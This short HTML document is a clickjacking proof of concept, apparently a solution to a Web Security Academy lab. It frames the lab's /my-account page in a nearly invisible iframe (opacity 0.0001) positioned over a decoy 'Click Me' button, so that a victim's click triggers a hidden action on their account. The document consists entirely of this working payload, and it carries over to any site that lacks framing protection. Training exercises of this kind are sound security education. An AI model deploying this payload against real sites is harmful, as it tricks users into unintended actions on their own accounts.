<style>
iframe {
 position: relative;
width: 500px;
height: 600px;
opacity: 0.0001;
z-index: 2;

}
div {
position: absolute;
top: 500px;
left: 50px;
z-index: 1;
}

</style>
<div> Click Me</div>
<iframe src="https://0a46007204a7f8fc80e0a3e8004b00f5.web-security-academy.net/my-account"></iframe>